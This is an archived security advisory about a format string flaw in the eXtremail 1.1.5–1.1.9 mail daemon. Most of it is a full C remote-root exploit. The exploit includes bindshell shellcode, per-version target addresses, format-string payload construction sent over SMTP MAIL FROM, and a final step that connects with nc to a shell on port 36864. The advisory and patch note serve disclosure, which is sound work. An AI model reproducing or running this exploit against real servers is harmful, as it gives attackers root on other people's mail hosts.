TUCoPS :: Linux :: Apps A-M :: xtremail.htm

eXtremail remotely exploitable format string condition
Vulnerability

    eXtremail

Affected

    eXtremail 1.1.5, 1.1.6, 1.1.7, 1.1.8, 1.1.9

Description

    mu-b found following.   eXtremail is a free  integrated pop3/smtpd
    mail daemon  for Linux  (x86), although  it is  free it  is closed
    sourced software.   It has  been found  that the  majority of  the
    newer versions  are vulnerable  to a  remotely exploitable  format
    string  condition.   The  following  versions  are confirmed to be
    vulnerable to this condition:

        - eXtremail v1.1.5
        - eXtremail v1.1.6
        - eXtremail v1.1.7
        - eXtremail v1.1.8
        - eXtremail v1.1.9

    Version 1.1.3 is also presumed  to be vulnerable but that  version
    was not available for testing, although there are strong reason to
    assume that it is.

    The format string problem is  located in the flog() function,  and
    is caused by  the use of  user defined data  as the format  string
    for  an  fprintf()  statement.   This  problem  can  be  exploited
    remotely  to  yield  remote   root  privileges,  through   sending
    appropriately  constructed  strings  as   the  arguments  to   the
    following commands:

        Smtpd - HELO / EHLO / MAIL FROM:<....@....> / RCPT TO:<....@....>
        Pop3 - USER (+ others requiring a suitable login).

    Exploit code:

    /* eXtremail-exp.c
     *
     * - eXtremail v1.1.5-9 Remote Root Exploit (x86) -
     *
     * - Tested on: RedHat 7.0 eXtremail v1.1.5
     *              RedHat 7.0 eXtremail v1.1.6
     *              RedHat 7.0 eXtremail v1.1.7
     *              RedHat 7.0 eXtremail v1.1.8
     *              RedHat 7.0 eXtremail v1.1.9
     *              NOT VULNERABLE eXtremail v1.1.10
     *
     * Copyright (c) 2001 by <mu-b@digit-labs.org>
     *
     * eXtremail v1.1.5+ has a format string problem
     * in flog(). This problem affects all user commands
     * (helo/ehlo/mail from:/rcpt to:), and is caused
     * by an improper fprintf() to the servers logfile.
     *
     * Buffers for helo/ehlo are too small (except v1.1.5),
     * therefore we use mail from: instead :).
     *
     * Note: Return Address's are quite tight due to the small
     *       buffers. Returning to the Heap is possible but
     *       is VERY unstable.
     *
     * Greets: mjm, all@alldas.de, teleh0r, grazer, cmds, gollum, #!digit-labs
     *
     * http://www.digit-labs.org/ -- Digit-Labs 2001!@$!
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <errno.h>
    #include <netdb.h>
    #include <resolv.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/time.h>
    #include <sys/stat.h>

    #define NOP		0x41
    #define NUMVULN	4
    #define OFFSET	0
    #define PORT	25

    void banner();
    void mkfmt();
    int opensocket(char *);
    void usage();

    char buf[520];
    int buflength, type = 0, sock;
    unsigned long target, retaddr;

    unsigned char shellcode[]= /* lamagra bindshell code */
	    "\xeb\x6e\x5e\x29\xc0\x89\x46\x10"
	    "\x40\x89\xc3\x89\x46\x0c\x40\x89"
    	    "\x46\x08\x8d\x4e\x08\xb0\x66\xcd"
    	    "\x80\x43\xc6\x46\x10\x10\x88\x46"
    	    "\x08\x31\xc0\x31\xd2\x89\x46\x18"
    	    "\xb0\x90\x66\x89\x46\x16\x8d\x4e"
    	    "\x14\x89\x4e\x0c\x8d\x4e\x08\xb0"
    	    "\x66\xcd\x80\x89\x5e\x0c\x43\x43"
    	    "\xb0\x66\xcd\x80\x89\x56\x0c\x89"
    	    "\x56\x10\xb0\x66\x43\xcd\x80\x86"
    	    "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0"
    	    "\x3f\x41\xcd\x80\xb0\x3f\x41\xcd"
    	    "\x80\x88\x56\x07\x89\x76\x0c\x87"
    	    "\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80"
    	    "\xe8\x8d\xff\xff\xff\x2f\x62\x69"
    	    "\x6e\x2f\x73\x68";

    /*   target address's  -> objdump -R smtpd | grep "fflush"   */
    struct {
	    char *name;
	    unsigned long target;
	    unsigned long retaddr;
	    int padding;
	    int buflength;
    } targets[] = {
            { "RedHat 7.0 eXtremail v1.1R5", 0x080864e0, 0xbf1ff64a, 1, 500},
            { "RedHat 7.0 eXtremail v1.1R6", 0x08089d5c, 0xbf1ff5d6, 1, 266},
            { "RedHat 7.0 eXtremail v1.1R7", 0x0808b3fc, 0xbf1ff5d6, 1, 266},
            { "RedHat 7.0 eXtremail v1.1R8", 0x0808b6fc, 0xbf1ff5d6, 1, 266},
            { "RedHat 7.0 eXtremail v1.1R9", 0x08088890, 0xbf1ff5d6, 1, 266},
            { 0 } };

    void banner()
    {
       fprintf(stderr, "\neXtremail V1.1R5-9 remote root exploit\n");
       fprintf(stderr, "by: <mu-b@digit-labs.org>\n");
       fprintf(stderr, "Copyright (c) 2001 Digit-Labs!@#$!\n");
       fprintf(stderr, "http://www.digit-labs.org\n\n");
    }

    void mkfmt()
    {
       int i, j = 0, num;
       int bytesofar;
       int fmtints[4];
       char *bufptr;
       unsigned char temp[4];

       bytesofar = 35 + targets[type].padding;
       bufptr = &buf[strlen(buf)];

       temp[0] = (unsigned char) (target & 0x000000ff);
       temp[1] = (unsigned char)((target & 0x0000ff00) >> 8);
       temp[2] = (unsigned char)((target & 0x00ff0000) >> 16);
       temp[3] = (unsigned char)((target & 0xff000000) >> 24);

       for(i = 0; i < 4; i++)
       {
          sprintf(bufptr, "%c%c%c%c", temp[0], temp[1], temp[2], temp[3]);
          bufptr += 4;
          temp[0]++;
       }

       fmtints[0] = (int) (retaddr & 0x000000ff);
       fmtints[1] = (int)((retaddr & 0x0000ff00) >> 8);
       fmtints[2] = (int)((retaddr & 0x00ff0000) >> 16);
       fmtints[3] = (int)((retaddr & 0xff000000) >> 24);

       for(i = 0; i < 4; i++)
       {
          num = 0;

          if(fmtints[i] - bytesofar < 10)
          {
             while(num != 1)
             {
                fmtints[i] = (fmtints[i] + 0x100);
                if(fmtints[i] - bytesofar > 9)
                {
                   fmtints[i] -= bytesofar;
                   bytesofar += fmtints[i];
                   num = 1;
                }
             }
          }
          else
          {
             fmtints[i] -= bytesofar;
             bytesofar += fmtints[i];
          }
       }

       sprintf(bufptr, "%%.%du%%38$n%%.%du%%39$n%%.%du%%40$n%%.%du%%41$n", fmtints[0], fmtints[1], fmtints[2], fmtints[3]);

       for(i = strlen(buf); i < buflength - strlen(shellcode) - 1; i++)
          buf[i] = NOP;

       for(i = i; i < buflength - 1; i++)
       {
          buf[i] = shellcode[j];
          j++;
       }

       buf[buflength - 1] = '\n';
       buf[buflength] = '\0';
       write(sock, buf, strlen(buf));
    }

    int opensocket(char *host)
    {
       int s;
       struct sockaddr_in remote_sin;
       struct hostent *he;

       if((s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
          perror("socket()");
          return -1;
       }

       memset((char *)&remote_sin, 0, sizeof(remote_sin));
       if((he = gethostbyname(host)) != NULL)
          memcpy((char *)&remote_sin.sin_addr, he->h_addr, he->h_length);
       else if((remote_sin.sin_addr.s_addr = inet_addr(host)) < 0) {
             perror("gethostbyname()/inet_addr()");
             return -1;
       }

       remote_sin.sin_family = PF_INET;
       remote_sin.sin_port = htons(PORT);

       if(connect(s, (struct sockaddr *)&remote_sin, sizeof(remote_sin)) == -1) {
          perror("connect()");
          close(s);
          return -1;
       }

       return s;
    }

    void usage()
    {
       int i;

       fprintf(stderr, "Usage: ./extremail <host> [type]\n");
       fprintf(stderr, "\nTargets:\n");

       for (i = 0; targets[i].name; i++)
          fprintf(stderr, "\t%d.\t%s\n", i, targets[i].name);

       fprintf(stderr, "\n");=09
       exit(0);
    }

    int main (int argc, char *argv[])
    {
       char *host;
       int i;

       banner();

       if(argc < 2)
          usage();

       if(argc >= 3)
          type = atoi(argv[2]);

       if(type > NUMVULN)
          type = 0;

       host = argv[1];
       buflength = targets[type].buflength;
       target = targets[type].target;
       retaddr = targets[type].retaddr + OFFSET;

       fprintf(stderr, "Target:\t\t%s\nType:\t\t%s\n", host, targets[type].name);
       fprintf(stderr, "Target Address:\t%p\nReturn Address:\t%p\nOffset:\t\t%d\n", target, retaddr, OFFSET);
       fprintf(stderr, "Buflength:\t%d\n", buflength);

       if ((sock = opensocket(host)) <= 0)
          return -1;

       fprintf(stderr, "\nConnected....\n");

       memcpy(buf, "MAIL FROM:<", 11);

       for(i = 0; i < targets[type].padding; i++)
          buf[strlen(buf)] = 0x61;

       sleep(1);
       write(sock, "HELO digit-labs.org!@#$!\n", 26);

       sleep(1);
       mkfmt();

       sleep(1);
       close(sock);

       fprintf(stderr, "\n[1] sent payload....\n");
       fprintf(stderr, "[2] waiting....\n");
       sleep(2);
       fprintf(stderr, "[3] nc %s 36864 for shell....\n\n", host);

       return;
    }

Solution

    This issue has been patched as of version 1.1.10, it is  advisable
    that current or  prospective users download  this version as  soon
    as possible.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH